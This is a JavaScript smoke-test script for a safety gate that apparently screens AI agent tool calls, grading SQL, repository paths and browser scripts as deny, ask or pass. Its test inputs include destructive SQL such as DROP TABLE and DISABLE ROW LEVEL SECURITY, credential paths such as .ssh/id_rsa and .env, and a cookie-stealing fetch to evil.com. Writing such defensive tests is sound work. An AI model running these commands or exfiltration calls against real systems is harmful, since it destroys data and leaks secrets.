'use strict'; /** * mcp-safety-gate.js 冒烟测试 * 用法: node scripts/test-mcp-safety-gate.js */ const { analyzeSql, analyzeGithubPath, analyzeBrowserScript } = require('../hooks/mcp-safety-gate.js'); let pass = 0, fail = 0; function check(label, got, expected) { const ok = (got === expected); if (ok) pass++; else fail++; const mark = ok ? 'PASS' : 'FAIL'; process.stdout.write(mark + ' ' + label.padEnd(52) + ' expect=' + expected + ' got=' + got + '\n'); } // ── SQL deny 场景 ────────────────────────────────────────── check('SQL deny: drop table', analyzeSql('DROP TABLE users').level, 'deny'); check('SQL deny: drop database', analyzeSql('DROP DATABASE mydb').level, 'deny'); check('SQL deny: truncate', analyzeSql('TRUNCATE orders').level, 'deny'); check('SQL deny: del where 1=1', analyzeSql('DELETE FROM t WHERE 1=1').level, 'deny'); check('SQL deny: del where true',analyzeSql('DELETE FROM t WHERE TRUE').level, 'deny'); check('SQL deny: grant', analyzeSql('GRANT ALL PRIVILEGES TO anon').level, 'deny'); check('SQL deny: disable rls', analyzeSql('ALTER TABLE t DISABLE ROW LEVEL SECURITY').level, 'deny'); // ── SQL ask 场景 ────────────────────────────────────────── check('SQL ask: delete with cond',analyzeSql('DELETE FROM t WHERE id=1').level, 'ask'); check('SQL ask: alter table', analyzeSql('ALTER TABLE t ADD COLUMN col int').level, 'ask'); check('SQL ask: create function', analyzeSql('CREATE FUNCTION f() RETURNS void').level, 'ask'); // ── SQL pass 场景 ───────────────────────────────────────── check('SQL pass: select', analyzeSql('SELECT * FROM users').level, 'pass'); check('SQL pass: insert', analyzeSql('INSERT INTO t(a) VALUES(1)').level, 'pass'); check('SQL pass: empty string', analyzeSql('').level, 'pass'); check('SQL pass: null', analyzeSql(null).level, 'pass'); // ── Path deny 场景 ──────────────────────────────────────── check('Path deny: .env', analyzeGithubPath('.env').level, 'deny'); check('Path deny: .env.prod', analyzeGithubPath('.env.production').level, 'deny'); check('Path deny: credentials.json', analyzeGithubPath('credentials.json').level, 'deny'); check('Path deny: key.pem', analyzeGithubPath('private.pem').level, 'deny'); check('Path deny: .ssh dir', analyzeGithubPath('.ssh/id_rsa').level, 'deny'); check('Path deny: cert.p12', analyzeGithubPath('cert.p12').level, 'deny'); // ── Path ask 场景 ───────────────────────────────────────── check('Path ask: settings.json', analyzeGithubPath('settings.json').level, 'ask'); check('Path ask: .claude dir', analyzeGithubPath('.claude/hooks/foo.js').level, 'ask'); check('Path ask: gh workflow', analyzeGithubPath('.github/workflows/ci.yml').level, 'ask'); check('Path ask: package.json', analyzeGithubPath('package.json').level, 'ask'); // ── Path pass 场景 ──────────────────────────────────────── check('Path pass: src/index.js', analyzeGithubPath('src/index.js').level, 'pass'); check('Path pass: README.md', analyzeGithubPath('README.md').level, 'pass'); check('Path pass: empty', analyzeGithubPath('').level, 'pass'); // ── Browser JS 场景 (全部 ask) ──────────────────────────── check('JS ask: document.cookie', analyzeBrowserScript('document.cookie').level, 'ask'); check('JS ask: eval()', analyzeBrowserScript('eval(x)').level, 'ask'); check('JS ask: new Function', analyzeBrowserScript('new Function("a","b")').level, 'ask'); check('JS ask: fetch external', analyzeBrowserScript("fetch('https://evil.com/steal')").level, 'ask'); check('JS ask: XMLHttpRequest', analyzeBrowserScript('new XMLHttpRequest()').level, 'ask'); check('JS ask: plain arithmetic', analyzeBrowserScript('const x = 1 + 2').level, 'ask'); process.stdout.write('\n结果: ' + pass + ' PASS / ' + fail + ' FAIL\n'); process.exit(fail > 0 ? 1 : 0);